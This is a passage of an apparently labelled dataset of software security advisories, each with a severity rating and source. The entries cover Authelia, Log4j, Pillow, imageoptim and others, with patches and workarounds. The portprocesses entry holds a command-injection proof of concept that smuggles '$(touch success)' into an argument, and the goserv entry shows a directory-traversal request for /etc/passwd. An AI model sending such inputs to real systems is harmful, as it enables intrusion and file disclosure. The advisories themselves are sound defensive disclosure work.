RFC.\n\n<details><summary>authelia.conf:</summary><p>\n\n```nginx\nlocation /authelia {\n    internal;\n    # **IMPORTANT**\n    # This block rejects requests with a 401 which contain characters that are unable to be parsed.\n    # It is necessary for security prior to v4.29.3 due to the fact we returned an invalid code in the event of a parser error.\n    # You may comment this section if you're using Authelia v4.29.3 or above. We strongly recommend upgrading.\n    # RFC3986: http://tools.ietf.org/html/rfc3986\n    # Commentary on RFC regarding Query Strings: https://www.456bereastreet.com/archive/201008/what_characters_are_allowed_unencoded_in_query_strings/\n    if ($request_uri ~ [^a-zA-Z0-9_+-=\\!@$%&*?~.:#'\\;\\(\\)\\[\\]]) {\n        return 401;\n    }\n\n# Include the remainder of the block here. \n}\n````\n\n</p></details>\n\n### Discovery\n\nThis issue was discovered by:\n\nSiemens Energy\nCybersecurity Red Team\n\n- Silas Francisco\n- Ricardo Pesqueira\n\n### Identifying active exploitation of the vulnerability\n\nThe following regex should match log entries that are an indication of the vulnerability being exploit", "text_raw": "Authelia vulnerable to an authentication bypassed with malformed request URI on nginx\n\n[Severity: CRITICAL]\n\n### Impact\nThis affects uses who are using nginx ngx_http_auth_request_module with Authelia, it allows a malicious individual who crafts a malformed HTTP request to bypass the authentication mechanism. It additionally could theoretically affect other proxy servers, but all of the ones we officially support except nginx do not allow malformed URI paths.\n\n### Patches\nThe problem is rectified entirely in v4.29.3. As this patch is relatively straightforward we can back port this to any version upon request. Alternatively we are supplying a git patch to 4.25.1 which should be relatively straightforward to apply to any version, the git patches for specific versions can be found below.\n\n<details><summary>Patch for 4.25.1:</summary><p>\n\n```patch\nFrom ca22f3d2c44ca7bef043ffbeeb06d6659c1d550f Mon Sep 17 00:00:00 2001\nFrom: James Elliott <james-d-elliott@users.noreply.github.com>\nDate: Wed, 19 May 2021 12:10:13 +1000\nSubject: [PATCH] fix(handlers): verify returns 200 on malformed request\n\nThis is a git patch for commit at tag v4.25.1 to address a potential method to bypass authentication in proxies that forward malformed information to Authelia in the forward auth process. Instead of returning a 200 this ensures that Authelia returns a 401 when this occurs.\n---\n internal/handlers/handler_verify.go | 4 +++-\n 1 file changed, 3 insertions(+), 1 deletion(-)\n\ndiff --git a/internal/handlers/handler_verify.go b/internal/handlers/handler_verify.go\nindex 65c064ce..4dd9702d 100644\n--- a/internal/handlers/handler_verify.go\n+++ b/internal/handlers/handler_verify.go\n@@ -396,7 +396,9 @@ func VerifyGet(cfg schema.AuthenticationBackendConfiguration) middlewares.Reques\n \t\ttargetURL, err := getOriginalURL(ctx)\n \n \t\tif err != nil {\n-\t\t\tctx.Error(fmt.Errorf(\"Unable to parse target URL: %s\", err), operationFailedMessage)\n+\t\t\tctx.Logger.Error(fmt.Errorf(\"Unable to parse target URL: %s\", err))\n+\t\t\tctx.ReplyUnauthorized()\n+\n \t\t\treturn\n \t\t}\n \n-- \n2.31.1\n```\n\n</p></details>\n\n### Workarounds\nThe most relevant workaround is upgrading. **If you need assistance with an upgrade please contact us on [Matrix](https://riot.im/app/#/room/#authelia:matrix.org) or [Discord](https://discord.authelia.com).** Please just let us know you're needing help upgrading to above 4.29.2. \n\nYou can add an block which fails requests that contains a malformed URI in the internal location block. We have crafted one that should work in most instances, it basically checks no chars that are required to be URL-encoded for either the path or the query are in the URI. Basically this regex checks that the characters between the square braces are the only characters in the $request_uri header, if they exist, it returns a HTTP 401 status code. The characters in the regex match are tested to not cause a parsing error that would result in a failure, however they are not exhaustive since query strings seem to not always conform to the RFC.\n\n<details><summary>authelia.conf:</summary><p>\n\n```nginx\nlocation /authelia {\n    internal;\n    # **IMPORTANT**\n    # This block rejects requests with a 401 which contain characters that are unable to be parsed.\n    # It is necessary for security prior to v4.29.3 due to the fact we returned an invalid code in the event of a parser error.\n    # You may comment this section if you're using Authelia v4.29.3 or above. We strongly recommend upgrading.\n    # RFC3986: http://tools.ietf.org/html/rfc3986\n    # Commentary on RFC regarding Query Strings: https://www.456bereastreet.com/archive/201008/what_characters_are_allowed_unencoded_in_query_strings/\n    if ($request_uri ~ [^a-zA-Z0-9_+-=\\!@$%&*?~.:#'\\;\\(\\)\\[\\]]) {\n        return 401;\n    }\n\n    # Include the remainder of the block here. \n}\n````\n\n</p></details>\n\n### Discovery\n\nThis issue was discovered by:\n\nSiemens Energy\nCybersecurity Red Team\n\n- Silas Francisco\n- Ricardo Pesqueira\n\n\n### Identifying active exploitation of the vulnerability\n\nThe following regex should match log entries that are an indication o", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "4709138ef2cc798d4d55", "text": "Downloads Resources over HTTP in imageoptim\n\nimageoptim is a Node.js wrapper for some images compression algorithms.\n\nimageoptim downloads zipped resources over HTTP, which leaves it vulnerable to MITM attacks.  It may be possible to cause remote code execution (RCE) by swapping out the requested tarball with an attacker controlled tarball if the attacker is on the network or positioned in between the user and the remote server.\n\n## Recommendation\n\nNo fix is currently available for this vulnerability.\n\nIt is our recommendation to not install or use this module at this time.", "text_raw": "Downloads Resources over HTTP in imageoptim\n\n[Severity: HIGH]\n\nimageoptim is a Node.js wrapper for some images compression algorithms.\n\nimageoptim downloads zipped resources over HTTP, which leaves it vulnerable to MITM attacks.  It may be possible to cause remote code execution (RCE) by swapping out the requested tarball with an attacker controlled tarball if the attacker is on the network or positioned in between the user and the remote server.\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability.\n\nIt is our recommendation to not install or use this module at this time.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "78807e16dee9bbc3f458", "text": "Cross site scripting in datatables.net\n\nThis affects the package datatables.net before 1.11.3. If an array is passed to the HTML escape entities function it would not have its contents escaped.", "text_raw": "Cross site scripting in datatables.net \n\n[Severity: MEDIUM]\n\nThis affects the package datatables.net before 1.11.3. If an array is passed to the HTML escape entities function it would not have its contents escaped.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-29", "split": "train"}
-{"id": "eadfb465eb012780e030", "text": "web@all CMS 2.0 Multiple Remote XSS Vulnerabilities", "text_raw": "web@all CMS 2.0 Multiple Remote XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-08-23", "split": "train"}
-{"id": "62dafcca5184e5cb1c0e", "text": "Command injection in github-todos\n\nnaholyr github-todos 3.1.0 is vulnerable to command injection. The range argument for the _hook subcommand is concatenated without any validation, and is directly used by the exec function.", "text_raw": "Command injection in github-todos\n\n[Severity: CRITICAL]\n\nnaholyr github-todos 3.1.0 is vulnerable to command injection. The range argument for the _hook subcommand is concatenated without any validation, and is directly used by the exec function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "c30976afa8abf3e77d02", "text": "Malicious Package in experss\n\nAll versions of `experss` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in experss\n\n[Severity: CRITICAL]\n\nAll versions of `experss` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "dad8ea7f0cf6db4ef446", "text": "Remote code injection in Log4j\n\n### Impact\nLogging untrusted or user controlled data with a vulnerable version of Log4J may result in Remote Code Execution (RCE) against your application. This includes untrusted data included in logged errors such as exception traces, authentication failures, and other unexpected vectors of user controlled input.\n\nMore Details:\nhttps://github.com/advisories/GHSA-jfh8-c2jp-5v3q\n\n### Patches\nVersion 1.11.1 of the Splunk Logging for Java library.\n\nThere is also a backport to version 1.6.2 released as a patch: 1.6.2-0-0.\n\n### Workarounds\nIf upgrading is not possible, then ensure the -Dlog4j2.formatMsgNoLookups=true system property is set on both client- and server-side components.\n\n### References\nhttps://github.com/advisories/GHSA-jfh8-c2jp-5v3q\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/splunk/splunk-library-javalogging/issues\n* Email us at [devinfo@splunk.com](mailto:devinfo@splunk.com)", "text_raw": "Remote code injection in Log4j\n\n[Severity: CRITICAL]\n\n### Impact\nLogging untrusted or user controlled data with a vulnerable version of Log4J may result in Remote Code Execution (RCE) against your application. This includes untrusted data included in logged errors such as exception traces, authentication failures, and other unexpected vectors of user controlled input.\n\nMore Details:\nhttps://github.com/advisories/GHSA-jfh8-c2jp-5v3q\n\n### Patches\nVersion 1.11.1 of the Splunk Logging for Java library.\n\nThere is also a backport to version 1.6.2 released as a patch: 1.6.2-0-0.\n\n### Workarounds\nIf upgrading is not possible, then ensure the -Dlog4j2.formatMsgNoLookups=true system property is set on both client- and server-side components.\n\n### References\nhttps://github.com/advisories/GHSA-jfh8-c2jp-5v3q\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/splunk/splunk-library-javalogging/issues\n* Email us at [devinfo@splunk.com](mailto:devinfo@splunk.com)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-14", "split": "train"}
-{"id": "9efb822b162684d93fce", "text": "Pillow Uncontrolled Resource Consumption\n\nPillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for an ICNS container, and thus an attempted memory allocation can be very large.", "text_raw": "Pillow Uncontrolled Resource Consumption\n\n[Severity: HIGH]\n\nPillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for an ICNS container, and thus an attempted memory allocation can be very large.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-18", "split": "train"}
-{"id": "801fb4fddc7ff468a3d5", "text": "Improper Authentication in Apache Airflow", "text_raw": "Improper Authentication in Apache Airflow\n\n[Severity: MEDIUM]\n\nThe lineage endpoint of the deprecated Experimental API was not protected by authentication in Airflow 2.0.0. This allowed unauthenticated users to hit that endpoint. This is low-severity issue as the attacker needs to be aware of certain parameters to pass to that endpoint and even after can just get some metadata about a DAG and a Task. This issue only affects Apache Airflow 2.0.0.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-18", "split": "train"}
-{"id": "254803ac8a0b799d744e", "text": "SnappyFrameDecoder doesn't restrict chunk length any may buffer skippable chunks in an unnecessary way\n\n### Impact\nThe Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well.\n\nThis vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk.\n\n### Impact\n\nAll users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage.\n\n### References\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185", "text_raw": " SnappyFrameDecoder doesn't restrict chunk length any may buffer skippable chunks in an unnecessary way\n\n[Severity: HIGH]\n\n### Impact\nThe Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well.\n\nThis vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk.\n\n### Impact\n\nAll users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage.\n\n### References\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-09", "split": "train"}
-{"id": "f7dd33da08aceba11331", "text": "personnummer/php vulnerable to Improper Input Validation\n\nThis vulnerability was reported to the personnummer team in June 2020. The slow response was due to locked ownership of some of the affected packages, which caused delays to update packages prior to disclosure.\n\n### Impact\n\nThis vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer.\n\n### Patches\n\nThe issue have been patched in all repositories. The following versions should be updated to as soon as possible:\n\n[C#](https://github.com/advisories/GHSA-qv8q-v995-72gr) 3.0.2  \nD 3.0.1  \n[Dart](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm) 3.0.3  \nElixir 3.0.0  \n[Go](https://github.com/advisories/GHSA-hv53-vf5m-8q94) 3.0.1  \n[Java](https://github.com/advisories/GHSA-q3vw-4jx3-rrr2) 3.3.0  \n[JavaScript](https://github.com/advisories/GHSA-vpgc-7h78-gx8f) 3.1.0  \nKotlin 1.1.0  \nLua 3.0.1  \n[PHP](https://github.com/advisories/GHSA-2p6g-gjp8-ggg9) 3.0.2  \nPerl 3.0.0  \n[Python](https://github.com/advisories/GHSA-rxq3-5249-8hgg) 3.0.2  \n[Ruby](https://github.com/advisories/GHSA-vp9c-fpxx-744v) 3.0.1  \n[Rust](https://github.com/advisories/GHSA-28r9-pq4c-wp3c) 3.0.0  \nScala 3.0.1  \nSwift 1.0.1\n\nIf you are using any of the earlier packages, please update to latest.\n\n### Workarounds\n\nThe issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be\n000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not\n000x.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Personnummer Meta](https://github.com/personnummer/meta/issues)\n* Email us at [Personnummer Email](mailto:security@personnummer.dev)", "text_raw": "personnummer/php vulnerable to Improper Input Validation \n\n[Severity: LOW]\n\nThis vulnerability was reported to the personnummer team in June 2020. The slow response was due to locked ownership of some of the affected packages, which caused delays to update packages prior to disclosure.\n\nThe vulnerability is determined to be low severity.\n\n### Impact\n\nThis vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer.  \n\n### Patches\n\nThe issue have been patched in all repositories. The following versions should be updated to as soon as possible:\n\n[C#](https://github.com/advisories/GHSA-qv8q-v995-72gr) 3.0.2  \nD 3.0.1  \n[Dart](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm) 3.0.3  \nElixir 3.0.0  \n[Go](https://github.com/advisories/GHSA-hv53-vf5m-8q94) 3.0.1  \n[Java](https://github.com/advisories/GHSA-q3vw-4jx3-rrr2) 3.3.0  \n[JavaScript](https://github.com/advisories/GHSA-vpgc-7h78-gx8f) 3.1.0  \nKotlin 1.1.0  \nLua 3.0.1  \n[PHP](https://github.com/advisories/GHSA-2p6g-gjp8-ggg9) 3.0.2  \nPerl 3.0.0  \n[Python](https://github.com/advisories/GHSA-rxq3-5249-8hgg) 3.0.2  \n[Ruby](https://github.com/advisories/GHSA-vp9c-fpxx-744v) 3.0.1  \n[Rust](https://github.com/advisories/GHSA-28r9-pq4c-wp3c) 3.0.0  \nScala 3.0.1  \nSwift 1.0.1  \n\nIf you are using any of the earlier packages, please update to latest.\n\n### Workarounds\n\nThe issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be\n000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not\n000x.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Personnummer Meta](https://github.com/personnummer/meta/issues)\n* Email us at [Personnummer Email](mailto:security@personnummer.dev)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-09", "split": "train"}
-{"id": "d1176038a9448f8fd2e7", "text": "Dasan Networks GPON ONT WiFi Router H64X Series System Config Download", "text_raw": "Dasan Networks GPON ONT WiFi Router H64X Series System Config Download\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-07-12", "split": "train"}
-{"id": "b8bb6996bebddcf50995", "text": "Cannonbolt Portfolio Manager v1.0 Stored XSS and SQL Injection Vulnerabilities", "text_raw": "Cannonbolt Portfolio Manager v1.0 Stored XSS and SQL Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-09-06", "split": "train"}
-{"id": "f46c7baaf70f1b228b1b", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Improper Access Control (IDOR)", "text_raw": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Improper Access Control (IDOR)\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "6e51bea98a8d32f03629", "text": "Arbitrary Command Injection in portprocesses\n\n### Impact\n\nAn Arbitrary Command Injection vulnerability was reported in `portprocesses` impacting versions <= 1.0.4.\n\n### Example (Proof of Concept)\n\nThe following example demonstrates the vulnerability and will run `touch success` therefore creating a file named `success`.\n\n```js\nconst portprocesses = require(\"portprocesses\");\n\nportprocesses.killProcess(\"$(touch success)\");\n```", "text_raw": "Arbitrary Command Injection in portprocesses\n\n[Severity: MEDIUM]\n\n### Impact\n\nAn Arbitrary Command Injection vulnerability was reported in `portprocesses` impacting versions <= 1.0.4.\n\n### Example (Proof of Concept)\n\nThe following example demonstrates the vulnerability and will run `touch success` therefore creating a file named `success`.\n\n```js\nconst portprocesses = require(\"portprocesses\");\n\nportprocesses.killProcess(\"$(touch success)\");\n```", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-06", "split": "train"}
-{"id": "86e4634d9cdde6bccbf5", "text": "Hashicorp Consul Missing SSL Certificate Validation\n\nHashiCorp Consul before 1.10.1 (and Consul Enterprise) has Missing SSL Certificate Validation. xds does not ensure that the Subject Alternative Name of an upstream is validated.", "text_raw": "Hashicorp Consul Missing SSL Certificate Validation\n\n[Severity: HIGH]\n\nHashiCorp Consul before 1.10.1 (and Consul Enterprise) has Missing SSL Certificate Validation. xds does not ensure that the Subject Alternative Name of an upstream is validated.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-19", "split": "train"}
-{"id": "db197c2e3aff464058c8", "text": "Session Fixation in Apache Zeppelin\n\nApache Zeppelin prior to 0.7.3 was vulnerable to session fixation which allowed an attacker to hijack a valid user session. Issue was reported by \"stone lone\".", "text_raw": "Session Fixation in Apache Zeppelin\n\n[Severity: HIGH]\n\nApache Zeppelin prior to 0.7.3 was vulnerable to session fixation which allowed an attacker to hijack a valid user session. Issue was reported by \"stone lone\".", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-24", "split": "train"}
-{"id": "b403979150b66edf9be5", "text": "Infinite loop in Apache MINA\n\nIn Apache MINA, a specifically crafted, malformed HTTP request may cause the HTTP Header decoder to loop indefinitely. The decoder assumed that the HTTP Header begins at the beginning of the buffer and loops if there is more data than expected. Please update MINA to 2.1.5 or greater.", "text_raw": "Infinite loop in Apache MINA\n\n[Severity: MEDIUM]\n\nIn Apache MINA, a specifically crafted, malformed HTTP request may cause the HTTP Header decoder to loop indefinitely. The decoder assumed that the HTTP Header begins at the beginning of the buffer and loops if there is more data than expected. Please update MINA to 2.1.5 or greater.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-03", "split": "train"}
-{"id": "6667f831f521d59b337b", "text": "The compilation daemon in Scala before 2.10.7, 2.11.x before 2.11.12, and 2.12.x before 2.12.4 uses weak permissions for private files in /tmp/scala-devel/${USER:shared}/scalac-compile-server-port, which allows local users to write to arbitrary class files and consequently gain privileges.", "text_raw": "High severity vulnerability that affects org.scala-lang:scala-compiler\n\n[Severity: HIGH]\n\nThe compilation daemon in Scala before 2.10.7, 2.11.x before 2.11.12, and 2.12.x before 2.12.4 uses weak permissions for private files in /tmp/scala-devel/${USER:shared}/scalac-compile-server-port, which allows local users to write to arbitrary class files and consequently gain privileges.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "1a7d7b3c780eb31f0fa1", "text": "CERIO 11nbg 2.4Ghz High Power Wireless Router (pekcmd) Rootshell Backdoors", "text_raw": "CERIO 11nbg 2.4Ghz High Power Wireless Router (pekcmd) Rootshell Backdoors\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2017-05-28", "split": "train"}
-{"id": "93d5c496c3a283d355a2", "text": "Open redirect in url-parse\n\n# Overview\n\nAffected versions of npm `url-parse` are vulnerable to URL Redirection to Untrusted Site.\n\n# Impact\n\nDepending on library usage and attacker intent, impacts may include allow/block list bypasses, SSRF attacks, open redirects, or other undesired behavior.", "text_raw": "Open redirect in url-parse\n\n[Severity: MEDIUM]\n\n# Overview\n\nAffected versions of npm `url-parse` are vulnerable to URL Redirection to Untrusted Site.\n\n# Impact\n\nDepending on library usage and attacker intent, impacts may include allow/block list bypasses, SSRF attacks, open redirects, or other undesired behavior.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-10", "split": "train"}
-{"id": "e16476973e6e956af795", "text": "jackson-dataformat-xml vulnerable to server side request forgery (SSRF)\n\nVersions of jackson-dataformat-xml) prior to 2.7.8 and prior to  2.8.4 allow remote attackers to conduct server-side request forgery (SSRF) attacks via vectors related to a DTD.", "text_raw": "jackson-dataformat-xml vulnerable to server side request forgery (SSRF)\n\n[Severity: HIGH]\n\nVersions of jackson-dataformat-xml) prior to 2.7.8 and prior to  2.8.4 allow remote attackers to conduct server-side request forgery (SSRF) attacks via vectors related to a DTD.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "893b205fa2b5dcac7b52", "text": "Regular Expression Denial of Service in clean-css\n\nVersion of `clean-css` prior to 4.1.11 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.\n\n## Recommendation\n\nUpgrade to version 4.1.11 or higher.", "text_raw": "Regular Expression Denial of Service in clean-css\n\n[Severity: LOW]\n\nVersion of `clean-css` prior to 4.1.11 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 4.1.11 or higher.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-06-05", "split": "train"}
-{"id": "38477da53371c0e17006", "text": "Prototype Pollution in defaults-deep\n\nAll versions of `defaults-deep` are vulnerable to prototype pollution. Provided certain input `defaults-deep` can add or modify properties of the `Object` prototype. These properties will be present on all objects.\n\n## Recommendation\n\nAs no patch is currently available for this vulnerability it is our recommendation to select another module that can provide this functionality.", "text_raw": "Prototype Pollution in defaults-deep\n\n[Severity: CRITICAL]\n\nAll versions of `defaults-deep` are vulnerable to prototype pollution. Provided certain input `defaults-deep` can add or modify properties of the `Object` prototype. These properties will be present on all objects.\n\n\n## Recommendation\n\nAs no patch is currently available for this vulnerability it is our recommendation to select another module that can provide this functionality.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-02-07", "split": "train"}
-{"id": "ed390d6717566923217b", "text": "Persistent Cross-Site scripting in Nexus Repository Manager\n\nSonatype Nexus Repository before 3.21.2 allows XSS.", "text_raw": "Persistent Cross-Site scripting in Nexus Repository Manager\n\n[Severity: MEDIUM]\n\nSonatype Nexus Repository before 3.21.2 allows XSS.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-14", "split": "train"}
-{"id": "e66e3da82a3b3737ceeb", "text": "Directory Traversal in goserv\n\nAffected versions of `goserv` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in goserv\n\n[Severity: HIGH]\n\nAffected versions of `goserv` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "30cefd0cacd2c241a6ea", "text": "datagrid contains code Injection backdoor\n\nThe datagrid gem 1.0.6 for Ruby, as distributed on RubyGems.org, included a code-execution backdoor inserted by a third party.", "text_raw": "datagrid contains code Injection backdoor\n\n[Severity: CRITICAL]\n\nThe datagrid gem 1.0.6 for Ruby, as distributed on RubyGems.org, included a code-execution backdoor inserted by a third party.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-31", "split": "train"}
-{"id": "04e215068a117a4db2c4", "text": "Improper Neutralization of Special Elements used in an LDAP Query in stevenweathers/thunderdome-planning-poker\n\n### Impact\nLDAP injection vulnerability, only affects instances with LDAP authentication enabled.\n\n### Patches\nPatch for vulnerability released with v1.16.3.\n\n### Workarounds\nDisable LDAP feature if in use\n\n### References\n[OWASP LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html\n)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Thunderdome Github Repository](https://github.com/StevenWeathers/thunderdome-planning-poker)\n* Email us at [steven@weathers.me](mailto:steven@weathers.me)", "text_raw": "Improper Neutralization of Special Elements used in an LDAP Query in stevenweathers/thunderdome-planning-poker\n\n[Severity: HIGH]\n\n### Impact\nLDAP injection vulnerability, only affects instances with LDAP authentication enabled.\n\n### Patches\nPatch for vulnerability released with v1.16.3.\n\n### Workarounds\nDisable LDAP feature if in use\n\n### References\n[OWASP LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html\n)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Thunderdome Github Repository](https://github.com/StevenWeathers/thunderdome-planning-poker)\n* Email us at [steven@weathers.me](mailto:steven@weathers.me)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-08", "split": "train"}
-{"id": "3b5ffbf382b5095f26a8", "text": "Code injection in ymlref\n\nymlref is a library that allows to load Yaml documents and resolve JSON-pointer references inside them. ymlref versions up to 0.1.1 allow code injection.", "text_raw": "Code injection in ymlref\n\n[Severity: CRITICAL]\n\nymlref is a library that allows to load Yaml documents and resolve JSON-pointer references inside them. ymlref versions up to 0.1.1 allow code injection.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-12-19", "split": "train"}
-{"id": "677a5053995bc0d7ab6f", "text": "Withdrawn, accidental duplicate publish.\n\nThe duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a \"regular expression Denial of Service (ReDoS).\"", "text_raw": "Moderate severity vulnerability that affects moment\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nThe duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a \"regular expression Denial of Service (ReDoS).\"", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-31", "split": "train"}
-{"id": "10d98f73a39c42f24d1a", "text": "Incorrect Authorization in Apache Ozone\n\nIn Apache Ozone versions prior to 1.2.0, certain admin related SCM commands can be executed by any authenticated users, not just by admins.", "text_raw": "Incorrect Authorization in Apache Ozone\n\n[Severity: HIGH]\n\nIn Apache Ozone versions prior to 1.2.0, certain admin related SCM commands can be executed by any authenticated users, not just by admins.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "5ffbac20894fd7dd4192", "text": "Improper Verification of Cryptographic Signature in PySAML2\n\n### Impact\n\nAll users of pysaml2 that use the default `CryptoBackendXmlSec1` backend and need to verify signed SAML documents are impacted. `pysaml2 <= 6.4.1` does not ensure that a signed SAML document is correctly signed. The default `CryptoBackendXmlSec1` backend is using the `xmlsec1` binary to verify the signature of signed SAML documents, but by default, `xmlsec1` accepts any type of key found within the given document. `xmlsec1` needs to be configured explicitly to only use only _x509 certificates_ for the verification process of the SAML document signature.\n\n### Patches\n\nUsers should upgrade to pysaml2 `v6.5.0`.\n\n### Workarounds\n\nNo workaround provided at this point.\n\n### References\n\nThis issue has been reported in the past at the xmlsec1 mailing list:\nhttps://www.aleksey.com/pipermail/xmlsec/2013/009717.html\n\n### Credits\n\n- Brian Wolff\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [pysaml2](https://github.com/IdentityPython/pysaml2)\n* Email us at [the incident-response address](mailto:incident-response@idpy.org)", "text_raw": "Improper Verification of Cryptographic Signature in PySAML2\n\n[Severity: 